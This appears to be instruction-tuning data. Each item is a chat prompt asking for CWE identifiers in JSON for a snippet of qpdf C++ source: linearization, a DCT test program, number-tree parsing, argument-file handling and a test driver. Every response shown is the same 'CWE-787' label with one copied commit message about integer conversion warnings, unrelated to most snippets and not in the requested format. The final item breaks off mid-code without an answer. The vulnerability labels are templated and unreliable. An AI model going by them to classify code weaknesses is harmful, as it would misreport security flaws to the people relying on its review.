<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDF::calculateLinearizationData(std::map<int, int> const& object_stream_data) { // This function calculates the ordering of objects, divides them // into the appropriate parts, and computes some values for the // linearization parameter dictionary and hint tables. The file // must be optimized (via calling optimize()) prior to calling // this function. Note that actual offsets and lengths are not // computed here, but anything related to object ordering is. if (this->m->object_to_obj_users.empty()) { // Note that we can't call optimize here because we don't know // whether it should be called with or without allow changes. throw std::logic_error( "INTERNAL ERROR: QPDF::calculateLinearizationData " "called before optimize()"); } // Separate objects into the categories sufficient for us to // determine which part of the linearized file should contain the // object. This categorization is useful for other purposes as // well. Part numbers refer to version 1.4 of the PDF spec. // Parts 1, 3, 5, 10, and 11 don't contain any objects from the // original file (except the trailer dictionary in part 11). // Part 4 is the document catalog (root) and the following root // keys: /ViewerPreferences, /PageMode, /Threads, /OpenAction, // /AcroForm, /Encrypt. Note that Thread information dictionaries // are supposed to appear in part 9, but we are disregarding that // recommendation for now. // Part 6 is the first page section. It includes all remaining // objects referenced by the first page including shared objects // but not including thumbnails. Additionally, if /PageMode is // /Outlines, then information from /Outlines also appears here. // Part 7 contains remaining objects private to pages other than // the first page. // Part 8 contains all remaining shared objects except those that // are shared only within thumbnails. // Part 9 contains all remaining objects. // We sort objects into the following categories: // * open_document: part 4 // * first_page_private: part 6 // * first_page_shared: part 6 // * other_page_private: part 7 // * other_page_shared: part 8 // * thumbnail_private: part 9 // * thumbnail_shared: part 9 // * other: part 9 // * outlines: part 6 or 9 this->m->part4.clear(); this->m->part6.clear(); this->m->part7.clear(); this->m->part8.clear(); this->m->part9.clear(); this->m->c_linp = LinParameters(); this->m->c_page_offset_data = CHPageOffset(); this->m->c_shared_object_data = CHSharedObject(); this->m->c_outline_data = HGeneric(); QPDFObjectHandle root = getRoot(); bool outlines_in_first_page = false; QPDFObjectHandle pagemode = root.getKey("/PageMode"); QTC::TC("qpdf", "QPDF categorize pagemode present", pagemode.isName() ? 1 : 0); if (pagemode.isName()) { if (pagemode.getName() == "/UseOutlines") { if (root.hasKey("/Outlines")) { outlines_in_first_page = true; } else { QTC::TC("qpdf", "QPDF UseOutlines but no Outlines"); } } QTC::TC("qpdf", "QPDF categorize pagemode outlines", outlines_in_first_page ? 1 : 0); } std::set<std::string> open_document_keys; open_document_keys.insert("/ViewerPreferences"); open_document_keys.insert("/PageMode"); open_document_keys.insert("/Threads"); open_document_keys.insert("/OpenAction"); open_document_keys.insert("/AcroForm"); std::set<QPDFObjGen> lc_open_document; std::set<QPDFObjGen> lc_first_page_private; std::set<QPDFObjGen> lc_first_page_shared; std::set<QPDFObjGen> lc_other_page_private; std::set<QPDFObjGen> lc_other_page_shared; std::set<QPDFObjGen> lc_thumbnail_private; std::set<QPDFObjGen> lc_thumbnail_shared; std::set<QPDFObjGen> lc_other; std::set<QPDFObjGen> lc_outlines; std::set<QPDFObjGen> lc_root; for (std::map<QPDFObjGen, std::set<ObjUser> >::iterator oiter = this->m->object_to_obj_users.begin(); oiter != this->m->object_to_obj_users.end(); ++oiter) { QPDFObjGen const& og = (*oiter).first; std::set<ObjUser>& ous = (*oiter).second; bool in_open_document = false; bool in_first_page = false; int other_pages = 0; int thumbs = 0; int others = 0; bool in_outlines = false; bool is_root = false; for (std::set<ObjUser>::iterator uiter = ous.begin(); uiter != ous.end(); ++uiter) { ObjUser const& ou = *uiter; switch (ou.ou_type) { case ObjUser::ou_trailer_key: if (ou.key == "/Encrypt") { in_open_document = true; } else { ++others; } break; case ObjUser::ou_thumb: ++thumbs; break; case ObjUser::ou_root_key: if (open_document_keys.count(ou.key) > 0) { in_open_document = true; } else if (ou.key == "/Outlines") { in_outlines = true; } else { ++others; } break; case ObjUser::ou_page: if (ou.pageno == 0) { in_first_page = true; } else { ++other_pages; } break; case ObjUser::ou_root: is_root = true; break; case ObjUser::ou_bad: throw std::logic_error( "INTERNAL ERROR: QPDF::calculateLinearizationData: " "invalid user type"); break; } } if (is_root) { lc_root.insert(og); } else if (in_outlines) { lc_outlines.insert(og); } else if (in_open_document) { lc_open_document.insert(og); } else if ((in_first_page) && (others == 0) && (other_pages == 0) && (thumbs == 0)) { lc_first_page_private.insert(og); } else if (in_first_page) { lc_first_page_shared.insert(og); } else if ((other_pages == 1) && (others == 0) && (thumbs == 0)) { lc_other_page_private.insert(og); } else if (other_pages > 1) { lc_other_page_shared.insert(og); } else if ((thumbs == 1) && (others == 0)) { lc_thumbnail_private.insert(og); } else if (thumbs > 1) { lc_thumbnail_shared.insert(og); } else { lc_other.insert(og); } } // Generate ordering for objects in the output file. Sometimes we // just dump right from a set into a vector. Rather than // optimizing this by going straight into the vector, we'll leave // these phases separate for now. That way, this section can be // concerned only with ordering, and the above section can be // considered only with categorization. Note that sets of // QPDFObjGens are sorted by QPDFObjGen. In a linearized file, // objects appear in sequence with the possible exception of hints // tables which we won't see here anyway. That means that running // calculateLinearizationData() on a linearized file should give // results identical to the original file ordering. // We seem to traverse the page tree a lot in this code, but we // can address this for a future code optimization if necessary. // Premature optimization is the root of all evil. std::vector<QPDFObjectHandle> pages; { // local scope // Map all page objects to the containing object stream. This // should be a no-op in a properly linearized file. std::vector<QPDFObjectHandle> t = getAllPages(); for (std::vector<QPDFObjectHandle>::iterator iter = t.begin(); iter != t.end(); ++iter) { pages.push_back(getUncompressedObject(*iter, object_stream_data)); } } unsigned int npages = pages.size(); // We will be initializing some values of the computed hint // tables. Specifically, we can initialize any items that deal // with object numbers or counts but not any items that deal with // lengths or offsets. The code that writes linearized files will // have to fill in these values during the first pass. The // validation code can compute them relatively easily given the // rest of the information. // npages is the size of the existing pages vector, which has been // created by traversing the pages tree, and as such is a // reasonable size. this->m->c_linp.npages = npages; this->m->c_page_offset_data.entries = std::vector<CHPageOffsetEntry>(npages); // Part 4: open document objects. We don't care about the order. if (lc_root.size() != 1) { stopOnError("found other than one root while" " calculating linearization data"); } this->m->part4.push_back(objGenToIndirect(*(lc_root.begin()))); for (std::set<QPDFObjGen>::iterator iter = lc_open_document.begin(); iter != lc_open_document.end(); ++iter) { this->m->part4.push_back(objGenToIndirect(*iter)); } // Part 6: first page objects. Note: implementation note 124 // states that Acrobat always treats page 0 as the first page for // linearization regardless of /OpenAction. pdlin doesn't provide // any option to set this and also disregards /OpenAction. We // will do the same. // First, place the actual first page object itself. QPDFObjGen first_page_og(pages.at(0).getObjGen()); if (! lc_first_page_private.count(first_page_og)) { throw std::logic_error( "INTERNAL ERROR: QPDF::calculateLinearizationData: first page " "object not in lc_first_page_private"); } lc_first_page_private.erase(first_page_og); this->m->c_linp.first_page_object = pages.at(0).getObjectID(); this->m->part6.push_back(pages.at(0)); // The PDF spec "recommends" an order for the rest of the objects, // but we are going to disregard it except to the extent that it // groups private and shared objects contiguously for the sake of // hint tables. for (std::set<QPDFObjGen>::iterator iter = lc_first_page_private.begin(); iter != lc_first_page_private.end(); ++iter) { this->m->part6.push_back(objGenToIndirect(*iter)); } for (std::set<QPDFObjGen>::iterator iter = lc_first_page_shared.begin(); iter != lc_first_page_shared.end(); ++iter) { this->m->part6.push_back(objGenToIndirect(*iter)); } // Place the outline dictionary if it goes in the first page section. if (outlines_in_first_page) { pushOutlinesToPart(this->m->part6, lc_outlines, object_stream_data); } // Fill in page offset hint table information for the first page. // The PDF spec says that nshared_objects should be zero for the // first page. pdlin does not appear to obey this, but it fills // in garbage values for all the shared object identifiers on the // first page. this->m->c_page_offset_data.entries.at(0).nobjects = this->m->part6.size(); // Part 7: other pages' private objects // For each page in order: for (unsigned int i = 1; i < npages; ++i) { // Place this page's page object QPDFObjGen page_og(pages.at(i).getObjGen()); if (! lc_other_page_private.count(page_og)) { throw std::logic_error( "INTERNAL ERROR: " "QPDF::calculateLinearizationData: page object for page " + QUtil::int_to_string(i) + " not in lc_other_page_private"); } lc_other_page_private.erase(page_og); this->m->part7.push_back(pages.at(i)); // Place all non-shared objects referenced by this page, // updating the page object count for the hint table. this->m->c_page_offset_data.entries.at(i).nobjects = 1; ObjUser ou(ObjUser::ou_page, i); if (this->m->obj_user_to_objects.count(ou) == 0) { stopOnError("found unreferenced page while" " calculating linearization data"); } std::set<QPDFObjGen> ogs = this->m->obj_user_to_objects[ou]; for (std::set<QPDFObjGen>::iterator iter = ogs.begin(); iter != ogs.end(); ++iter) { QPDFObjGen const& og = (*iter); if (lc_other_page_private.count(og)) { lc_other_page_private.erase(og); this->m->part7.push_back(objGenToIndirect(og)); ++this->m->c_page_offset_data.entries.at(i).nobjects; } } } // That should have covered all part7 objects. if (! lc_other_page_private.empty()) { throw std::logic_error( "INTERNAL ERROR:" " QPDF::calculateLinearizationData: lc_other_page_private is " "not empty after generation of part7"); } // Part 8: other pages' shared objects // Order is unimportant. for (std::set<QPDFObjGen>::iterator iter = lc_other_page_shared.begin(); iter != lc_other_page_shared.end(); ++iter) { this->m->part8.push_back(objGenToIndirect(*iter)); } // Part 9: other objects // The PDF specification makes recommendations on ordering here. // We follow them only to a limited extent. Specifically, we put // the pages tree first, then private thumbnail objects in page // order, then shared thumbnail objects, and then outlines (unless // in part 6). After that, we throw all remaining objects in // arbitrary order. // Place the pages tree. std::set<QPDFObjGen> pages_ogs = this->m->obj_user_to_objects[ObjUser(ObjUser::ou_root_key, "/Pages")]; if (pages_ogs.empty()) { stopOnError("found empty pages tree while" " calculating linearization data"); } for (std::set<QPDFObjGen>::iterator iter = pages_ogs.begin(); iter != pages_ogs.end(); ++iter) { QPDFObjGen const& og = *iter; if (lc_other.count(og)) { lc_other.erase(og); this->m->part9.push_back(objGenToIndirect(og)); } } // Place private thumbnail images in page order. Slightly more // information would be required if we were going to bother with // thumbnail hint tables. for (unsigned int i = 0; i < npages; ++i) { QPDFObjectHandle thumb = pages.at(i).getKey("/Thumb"); thumb = getUncompressedObject(thumb, object_stream_data); if (! thumb.isNull()) { // Output the thumbnail itself QPDFObjGen thumb_og(thumb.getObjGen()); if (lc_thumbnail_private.count(thumb_og)) { lc_thumbnail_private.erase(thumb_og); this->m->part9.push_back(thumb); } else { // No internal error this time...there's nothing to // stop this object from having been referred to // somewhere else outside of a page's /Thumb, and if // it had been, there's nothing to prevent it from // having been in some set other than // lc_thumbnail_private. } std::set<QPDFObjGen>& ogs = this->m->obj_user_to_objects[ObjUser(ObjUser::ou_thumb, i)]; for (std::set<QPDFObjGen>::iterator iter = ogs.begin(); iter != ogs.end(); ++iter) { QPDFObjGen const& og = *iter; if (lc_thumbnail_private.count(og)) { lc_thumbnail_private.erase(og); this->m->part9.push_back(objGenToIndirect(og)); } } } } if (! lc_thumbnail_private.empty()) { throw std::logic_error( "INTERNAL ERROR: " "QPDF::calculateLinearizationData: lc_thumbnail_private " "not empty after placing thumbnails"); } // Place shared thumbnail objects for (std::set<QPDFObjGen>::iterator iter = lc_thumbnail_shared.begin(); iter != lc_thumbnail_shared.end(); ++iter) { this->m->part9.push_back(objGenToIndirect(*iter)); } // Place outlines unless in first page if (! outlines_in_first_page) { pushOutlinesToPart(this->m->part9, lc_outlines, object_stream_data); } // Place all remaining objects for (std::set<QPDFObjGen>::iterator iter = lc_other.begin(); iter != lc_other.end(); ++iter) { this->m->part9.push_back(objGenToIndirect(*iter)); } // Make sure we got everything exactly once. unsigned int num_placed = this->m->part4.size() + this->m->part6.size() + this->m->part7.size() + this->m->part8.size() + this->m->part9.size(); unsigned int num_wanted = this->m->object_to_obj_users.size(); if (num_placed != num_wanted) { throw std::logic_error( "INTERNAL ERROR: QPDF::calculateLinearizationData: wrong " "number of objects placed (num_placed = " + QUtil::int_to_string(num_placed) + "; number of objects: " + QUtil::int_to_string(num_wanted)); } // Calculate shared object hint table information including // references to shared objects from page offset hint data. // The shared object hint table consists of all part 6 (whether // shared or not) in order followed by all part 8 objects in // order. Add the objects to shared object data keeping a map of // object number to index. Then populate the shared object // information for the pages. // Note that two objects never have the same object number, so we // can map from object number only without regards to generation. std::map<int, int> obj_to_index; this->m->c_shared_object_data.nshared_first_page = this->m->part6.size(); this->m->c_shared_object_data.nshared_total = this->m->c_shared_object_data.nshared_first_page + this->m->part8.size(); std::vector<CHSharedObjectEntry>& shared = this->m->c_shared_object_data.entries; for (std::vector<QPDFObjectHandle>::iterator iter = this->m->part6.begin(); iter != this->m->part6.end(); ++iter) { QPDFObjectHandle& oh = *iter; int obj = oh.getObjectID(); obj_to_index[obj] = shared.size(); shared.push_back(CHSharedObjectEntry(obj)); } QTC::TC("qpdf", "QPDF lin part 8 empty", this->m->part8.empty() ? 1 : 0); if (! this->m->part8.empty()) { this->m->c_shared_object_data.first_shared_obj = this->m->part8.at(0).getObjectID(); for (std::vector<QPDFObjectHandle>::iterator iter = this->m->part8.begin(); iter != this->m->part8.end(); ++iter) { QPDFObjectHandle& oh = *iter; int obj = oh.getObjectID(); obj_to_index[obj] = shared.size(); shared.push_back(CHSharedObjectEntry(obj)); } } if (static_cast<size_t>(this->m->c_shared_object_data.nshared_total) != this->m->c_shared_object_data.entries.size()) { throw std::logic_error( "shared object hint table has wrong number of entries"); } // Now compute the list of shared objects for each page after the // first page. for (unsigned int i = 1; i < npages; ++i) { CHPageOffsetEntry& pe = this->m->c_page_offset_data.entries.at(i); ObjUser ou(ObjUser::ou_page, i); if (this->m->obj_user_to_objects.count(ou) == 0) { stopOnError("found unreferenced page while" " calculating linearization data"); } std::set<QPDFObjGen> const& ogs = this->m->obj_user_to_objects[ou]; for (std::set<QPDFObjGen>::const_iterator iter = ogs.begin(); iter != ogs.end(); ++iter) { QPDFObjGen const& og = *iter; if ((this->m->object_to_obj_users[og].size() > 1) && (obj_to_index.count(og.getObj()) > 0)) { int idx = obj_to_index[og.getObj()]; ++pe.nshared_objects; pe.shared_identifiers.push_back(idx); } } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: int main(int argc, char* argv[]) { if (argc != 6) { usage(); } char* infilename = argv[1]; char* outfilename = argv[2]; int width = QUtil::string_to_int(argv[3]); int height = QUtil::string_to_int(argv[4]); char* colorspace = argv[5]; J_COLOR_SPACE cs = ((strcmp(colorspace, "rgb") == 0) ? JCS_RGB : (strcmp(colorspace, "cmyk") == 0) ? JCS_CMYK : (strcmp(colorspace, "gray") == 0) ? JCS_GRAYSCALE : JCS_UNKNOWN); int components = 0; switch (cs) { case JCS_RGB: components = 3; break; case JCS_CMYK: components = 4; break; case JCS_GRAYSCALE: components = 1; break; default: usage(); break; } FILE* infile = QUtil::safe_fopen(infilename, "rb"); FILE* outfile = QUtil::safe_fopen(outfilename, "wb"); Pl_StdioFile out("stdout", outfile); unsigned char buf[100]; bool done = false; Callback callback; Pl_DCT dct("dct", &out, width, height, components, cs, &callback); while (! done) { size_t len = fread(buf, 1, sizeof(buf), infile); if (len <= 0) { done = true; } else { dct.write(buf, len); } } dct.finish(); if (! callback.called) { std::cout << "Callback was not called" << std::endl; } fclose(infile); fclose(outfile); return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDFNumberTreeObjectHelper::updateMap(QPDFObjectHandle oh) { if (this->m->seen.count(oh.getObjGen())) { return; } this->m->seen.insert(oh.getObjGen()); QPDFObjectHandle nums = oh.getKey("/Nums"); if (nums.isArray()) { size_t nitems = nums.getArrayNItems(); size_t i = 0; while (i < nitems - 1) { QPDFObjectHandle num = nums.getArrayItem(i); if (num.isInteger()) { ++i; QPDFObjectHandle obj = nums.getArrayItem(i); this->m->entries[num.getIntValue()] = obj; } ++i; } } QPDFObjectHandle kids = oh.getKey("/Kids"); if (kids.isArray()) { size_t nitems = kids.getArrayNItems(); for (size_t i = 0; i < nitems; ++i) { updateMap(kids.getArrayItem(i)); } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ArgParser::handleArgFileArguments() { // Support reading arguments from files. Create a new argv. Ensure // that argv itself as well as all its contents are automatically // deleted by using PointerHolder objects to back the pointers in // argv. new_argv.push_back(PointerHolder<char>(true, QUtil::copy_string(argv[0]))); for (int i = 1; i < argc; ++i) { char* argfile = 0; if ((strlen(argv[i]) > 1) && (argv[i][0] == '@')) { try { argfile = 1 + argv[i]; if (strcmp(argfile, "-") != 0) { fclose(QUtil::safe_fopen(argfile, "rb")); } } catch (std::runtime_error&) { // The file's not there; treating as regular option argfile = 0; } } if (argfile) { readArgsFromFile(1+argv[i]); } else { new_argv.push_back( PointerHolder<char>(true, QUtil::copy_string(argv[i]))); } } argv_ph = PointerHolder<char*>(true, new char*[1+new_argv.size()]); argv = argv_ph.getPointer(); for (size_t i = 0; i < new_argv.size(); ++i) { argv[i] = new_argv.at(i).getPointer(); } argc = static_cast<int>(new_argv.size()); argv[argc] = 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void runtest(int n, char const* filename1, char const* arg2) { // Most tests here are crafted to work on specific files. Look at // the test suite to see how the test is invoked to find the file // that the test is supposed to operate on. if (n == 0) { // Throw in some random test cases that don't fit anywhere // else. This is in addition to whatever else is going on in // test 0. // The code to trim user passwords looks for 0x28 (which is // "(") since it marks the beginning of the padding. Exercise // the code to make sure it skips over 0x28 characters that // aren't part of padding. std::string password( "1234567890123456789012(45678\x28\xbf\x4e\x5e"); assert(password.length() == 32); QPDF::trim_user_password(password); assert(password == "1234567890123456789012(45678"); QPDFObjectHandle uninitialized; assert(uninitialized.getTypeCode() == QPDFObject::ot_uninitialized); assert(strcmp(uninitialized.getTypeName(), "uninitialized") == 0); } QPDF pdf; PointerHolder<char> file_buf; FILE* filep = 0; if (n == 0) { pdf.setAttemptRecovery(false); } if (((n == 35) || (n == 36)) && (arg2 != 0)) { // arg2 is password pdf.processFile(filename1, arg2); } else if (n == 45) { // Decode obfuscated files. To obfuscated, run the input file // through this perl script, and save the result to // filename.obfuscated. This pretends that the input was // called filename.pdf and that that file contained the // deobfuscated version. // undef $/; // my @str = split('', <STDIN>); // for (my $i = 0; $i < scalar(@str); ++$i) // { // $str[$i] = chr(ord($str[$i]) ^ 0xcc); // } // print(join('', @str)); std::string filename(std::string(filename1) + ".obfuscated"); size_t size = 0; read_file_into_memory(filename.c_str(), file_buf, size); char* p = file_buf.getPointer(); for (size_t i = 0; i < size; ++i) { p[i] ^= 0xcc; } pdf.processMemoryFile((std::string(filename1) + ".pdf").c_str(), p, size); } else if (n == 61) { // Ignore filename argument entirely } else if (n % 2 == 0) { if (n % 4 == 0) { QTC::TC("qpdf", "exercise processFile(name)"); pdf.processFile(filename1); } else { QTC::TC("qpdf", "exercise processFile(FILE*)"); filep = QUtil::safe_fopen(filename1, "rb"); pdf.processFile(filename1, filep, false); } } else { QTC::TC("qpdf", "exercise processMemoryFile"); size_t size = 0; read_file_into_memory(filename1, file_buf, size); pdf.processMemoryFile(filename1, file_buf.getPointer(), size); } if ((n == 0) || (n == 1)) { QPDFObjectHandle trailer = pdf.getTrailer(); QPDFObjectHandle qtest = trailer.getKey("/QTest"); if (! trailer.hasKey("/QTest")) { // This will always happen when /QTest is null because // hasKey returns false for null keys regardless of // whether the key exists or not. That way there's never // any difference between a key that is present and null // and a key that is absent. QTC::TC("qpdf", "main QTest implicit"); std::cout << "/QTest is implicit" << std::endl; } QTC::TC("qpdf", "main QTest indirect", qtest.isIndirect() ? 1 : 0); std::cout << "/QTest is " << (qtest.isIndirect() ? "in" : "") << "direct and has type " << qtest.getTypeName() << " (" << qtest.getTypeCode() << ")" << std::endl; if (qtest.isNull()) { QTC::TC("qpdf", "main QTest null"); std::cout << "/QTest is null" << std::endl; } else if (qtest.isBool()) { QTC::TC("qpdf", "main QTest bool", qtest.getBoolValue() ? 1 : 0); std::cout << "/QTest is Boolean with value " << (qtest.getBoolValue() ? "true" : "false") << std::endl; } else if (qtest.isInteger()) { QTC::TC("qpdf", "main QTest int"); std::cout << "/QTest is an integer with value " << qtest.getIntValue() << std::endl; } else if (qtest.isReal()) { QTC::TC("qpdf", "main QTest real"); std::cout << "/QTest is a real number with value " << qtest.getRealValue() << std::endl; } else if (qtest.isName()) { QTC::TC("qpdf", "main QTest name"); std::cout << "/QTest is a name with value " << qtest.getName() << std::endl; } else if (qtest.isString()) { QTC::TC("qpdf", "main QTest string"); std::cout << "/QTest is a string with value " << qtest.getStringValue() << std::endl; } else if (qtest.isArray()) { QTC::TC("qpdf", "main QTest array"); int n = qtest.getArrayNItems(); std::cout << "/QTest is an array with " << n << " items" << std::endl; for (int i = 0; i < n; ++i) { QTC::TC("qpdf", "main QTest array indirect", qtest.getArrayItem(i).isIndirect() ? 1 : 0); std::cout << " item " << i << " is " << (qtest.getArrayItem(i).isIndirect() ? "in" : "") << "direct" << std::endl; } } else if (qtest.isDictionary()) { QTC::TC("qpdf", "main QTest dictionary"); std::cout << "/QTest is a dictionary" << std::endl; std::set<std::string> keys = qtest.getKeys(); for (std::set<std::string>::iterator iter = keys.begin(); iter != keys.end(); ++iter) { QTC::TC("qpdf", "main QTest dictionary indirect", (qtest.getKey(*iter).isIndirect() ? 1 : 0)); std::cout << " " << *iter << " is " << (qtest.getKey(*iter).isIndirect() ? "in" : "") << "direct" << std::endl; } } else if (qtest.isStream()) { QTC::TC("qpdf", "main QTest stream"); std::cout << "/QTest is a stream. Dictionary: " << qtest.getDict().unparse() << std::endl; std::cout << "Raw stream data:" << std::endl; std::cout.flush(); QUtil::binary_stdout(); PointerHolder<Pl_StdioFile> out = new Pl_StdioFile("raw", stdout); qtest.pipeStreamData(out.getPointer(), 0, qpdf_dl_none); std::cout << std::endl << "Uncompressed stream data:" << std::endl; if (qtest.pipeStreamData(0, 0, qpdf_dl_all)) { std::cout.flush(); QUtil::binary_stdout(); out = new Pl_StdioFile("filtered", stdout); qtest.pipeStreamData(out.getPointer(), 0, qpdf_dl_all); std::cout << std::endl << "End of stream data" << std::endl; } else { std::cout << "Stream data is not filterable." << std::endl; } } else { // Should not happen! std::cout << "/QTest is an unknown object" << std::endl; } std::cout << "unparse: " << qtest.unparse() << std::endl << "unparseResolved: " << qtest.unparseResolved() << std::endl; } else if (n == 2) { // Encrypted file. This test case is designed for a specific // PDF file. QPDFObjectHandle trailer = pdf.getTrailer(); std::cout << trailer.getKey("/Info"). getKey("/CreationDate").getStringValue() << std::endl; std::cout << trailer.getKey("/Info"). getKey("/Producer").getStringValue() << std::endl; QPDFObjectHandle encrypt = trailer.getKey("/Encrypt"); std::cout << encrypt.getKey("/O").unparse() << std::endl; std::cout << encrypt.getKey("/U").unparse() << std::endl; QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle pages = root.getKey("/Pages"); QPDFObjectHandle kids = pages.getKey("/Kids"); QPDFObjectHandle page = kids.getArrayItem(1); // second page QPDFObjectHandle contents = page.getKey("/Contents"); QUtil::binary_stdout(); PointerHolder<Pl_StdioFile> out = new Pl_StdioFile("filtered", stdout); contents.pipeStreamData(out.getPointer(), 0, qpdf_dl_generalized); } else if (n == 3) { QPDFObjectHandle streams = pdf.getTrailer().getKey("/QStreams"); for (int i = 0; i < streams.getArrayNItems(); ++i) { QPDFObjectHandle stream = streams.getArrayItem(i); std::cout << "-- stream " << i << " --" << std::endl; std::cout.flush(); QUtil::binary_stdout(); PointerHolder<Pl_StdioFile> out = new Pl_StdioFile("tokenized stream", stdout); stream.pipeStreamData(out.getPointer(), qpdf_ef_normalize, qpdf_dl_generalized); } } else if (n == 4) { // Mutability testing: Make /QTest direct recursively, then // copy to /Info. Also make some other mutations so we can // tell the difference and ensure that the original /QTest // isn't effected. QPDFObjectHandle trailer = pdf.getTrailer(); QPDFObjectHandle qtest = trailer.getKey("/QTest"); qtest.makeDirect(); qtest.removeKey("/Subject"); qtest.replaceKey("/Author", QPDFObjectHandle::newString("Mr. Potato Head")); // qtest.A and qtest.B.A were originally the same object. // They no longer are after makeDirect(). Mutate one of them // and ensure the other is not changed. These test cases are // crafted around a specific set of input files. QPDFObjectHandle A = qtest.getKey("/A"); if (A.getArrayItem(0).getIntValue() == 1) { // Test mutators A.setArrayItem(1, QPDFObjectHandle::newInteger(5)); // 1 5 3 A.insertItem(2, QPDFObjectHandle::newInteger(10)); // 1 5 10 3 A.appendItem(QPDFObjectHandle::newInteger(12)); // 1 5 10 3 12 A.eraseItem(3); // 1 5 10 12 A.insertItem(4, QPDFObjectHandle::newInteger(6)); // 1 5 10 12 6 A.insertItem(0, QPDFObjectHandle::newInteger(9)); // 9 1 5 10 12 6 } else { std::vector<QPDFObjectHandle> items; items.push_back(QPDFObjectHandle::newInteger(14)); items.push_back(QPDFObjectHandle::newInteger(15)); items.push_back(QPDFObjectHandle::newInteger(9)); A.setArrayFromVector(items); } trailer.replaceKey("/Info", pdf.makeIndirectObject(qtest)); QPDFWriter w(pdf, 0); w.setQDFMode(true); w.setStaticID(true); w.write(); // Prevent "done" message from getting appended exit(0); } else if (n == 5) { QPDFPageDocumentHelper dh(pdf); std::vector<QPDFPageObjectHelper> pages = dh.getAllPages(); int pageno = 0; for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { QPDFPageObjectHelper& page(*iter); ++pageno; std::cout << "page " << pageno << ":" << std::endl; std::cout << " images:" << std::endl; std::map<std::string, QPDFObjectHandle> images = page.getPageImages(); for (std::map<std::string, QPDFObjectHandle>::iterator iter = images.begin(); iter != images.end(); ++iter) { std::string const& name = (*iter).first; QPDFObjectHandle image = (*iter).second; QPDFObjectHandle dict = image.getDict(); int width = dict.getKey("/Width").getIntValue(); int height = dict.getKey("/Height").getIntValue(); std::cout << " " << name << ": " << width << " x " << height << std::endl; } std::cout << " content:" << std::endl; std::vector<QPDFObjectHandle> content = page.getPageContents(); for (std::vector<QPDFObjectHandle>::iterator iter = content.begin(); iter != content.end(); ++iter) { std::cout << " " << (*iter).unparse() << std::endl; } std::cout << "end page " << pageno << std::endl; } QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle qstrings = root.getKey("/QStrings"); if (qstrings.isArray()) { std::cout << "QStrings:" << std::endl; int n = qstrings.getArrayNItems(); for (int i = 0; i < n; ++i) { std::cout << qstrings.getArrayItem(i).getUTF8Value() << std::endl; } } QPDFObjectHandle qnumbers = root.getKey("/QNumbers"); if (qnumbers.isArray()) { std::cout << "QNumbers:" << std::endl; int n = qnumbers.getArrayNItems(); for (int i = 0; i < n; ++i) { std::cout << QUtil::double_to_string( qnumbers.getArrayItem(i).getNumericValue(), 3) << std::endl; } } } else if (n == 6) { QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle metadata = root.getKey("/Metadata"); if (! metadata.isStream()) { throw std::logic_error("test 6 run on file with no metadata"); } Pl_Buffer bufpl("buffer"); metadata.pipeStreamData(&bufpl, 0, qpdf_dl_none); Buffer* buf = bufpl.getBuffer(); unsigned char const* data = buf->getBuffer(); 